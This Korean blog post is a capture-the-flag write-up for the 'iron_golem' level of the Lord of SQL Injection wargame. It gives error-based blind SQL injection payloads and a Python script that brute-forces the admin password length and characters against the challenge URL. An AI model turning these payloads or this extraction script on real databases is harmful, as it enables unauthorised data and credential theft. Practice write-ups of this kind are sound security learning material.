[Lord of SQL Injection] 21번 iron_golem

2021. 1. 22. 17:20·Write-Up/LOS (lord of sql injection)
반응형

mysql error가 있으면 error을 내뿜어준다.

Error Base Blind SQL injection 문제이다.

조건문을 이용하여 error을 발생시켜보았다.

 

항상 참 쿼리

pw=' or id='admin' and if(1=1,1,(select 1 union select 2))%23

항상 거짓 쿼리

pw=' or id='admin' and if(1=2,1,(select 1 union select 2))%23

이것을 이용하여 파이썬 코드를 작성한다.

import requests
 
cookies= {'PHPSESSID':'5029udlls5r1m3m52n0crur5rh'}
url = 'https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?'
pw = ''

#pw길이 구하기
for i in range(1,99):
    payload = "pw=%27%20or%20id=%27admin%27%20and%20if(length(pw)={},1,(select%201%20union%20select%202))%23".format(i)
    new_url = url+payload
    res = requests.get(new_url, cookies=cookies)
    res.raise_for_status()
    if "Subquery returns more than 1 row" not in res.text:
        length = i
        break    
print("pw length :  " +str(length))

# pw 구하기
for i in range(1,length+1):
    for j in range(33,127):
        payload = "pw=%27%20or%20if((select%20id=%27admin%27%20and%20ord(substr(pw,{},1))={}),1,(select%201%20union%20select%202))%23".format(i, j)
        new_url = url+payload
        res = requests.get(new_url, cookies=cookies)
        res.raise_for_status()
        if "Subquery returns more than 1 row" not in res.text:
            pw += chr(j)
            print("pw: "+pw)
            break
        
print ("pw : "+pw)

pw가 32글자나 되어서 오래걸렸다..

반응형

'Write-Up > LOS (lord of sql injection)' 카테고리의 다른 글

[Lord of SQL Injection] 23번 hell_fire  (0) 2021.01.23
[Lord of SQL Injection] 22번 dark_eyes  (0) 2021.01.22
[Lord of SQL Injection] 20번 dragon  (0) 2021.01.22
[Lord of SQL Injection] 19번 xavis  (0) 2021.01.22
[Lord of SQL Injection] 18번 nightmare  (0) 2021.01.22
'Write-Up/LOS (lord of sql injection)' 카테고리의 다른 글
  • [Lord of SQL Injection] 23번 hell_fire
  • [Lord of SQL Injection] 22번 dark_eyes
  • [Lord of SQL Injection] 20번 dragon
  • [Lord of SQL Injection] 19번 xavis
Penguin Dev
Penguin Dev
What does the Penguin say?
    글쓰기 관리
  • Penguin Dev
    Pengha!
    Penguin Dev
  • 전체
    오늘
    어제
    • 분류 전체보기 (150)
      • Java & Spring (2)
      • System Hacking (4)
      • Algorithm (8)
        • Sorting algorithm (3)
      • Python (6)
      • DB (1)
      • Web (2)
        • Web Hacking & Security (2)
      • Write-Up (108)
        • pwnable.kr (17)
        • HackCTF (16)
        • 해커스쿨 FTZ (21)
        • LOB(lord of bufferoverflow) (19)
        • LOS (lord of sql injection) (28)
        • XSS-game (6)
        • Webhacking.kr (1)
      • SUA (19)
        • 오픈소스 보안 (19)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    HashMap
    DB정리
    concurrenthashmap vs hashmap
    spring
    Hashtable
    코드트리조별과제
    동시성
    spring boot
    hashmap vs concurrenthashmap
    nop sled
    Lock
    sqlinjection
    tabat
    selection sort
    동시성처리
    Java
    enumerate #list comprehension
    CountDownLatch
    putval()
    ConcurrentHashMap
    thread-safe
    코딩테스트
    LOB
    시스템해킹
    코드트리
    AtomicLong
    Bubble Sort
    lord of bufferoverflow
  • 최근 댓글

  • 반응형
  • hELLO· Designed By정상우.v4.10.3
Penguin Dev
[Lord of SQL Injection] 21번 iron_golem
상단으로

티스토리툴바

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.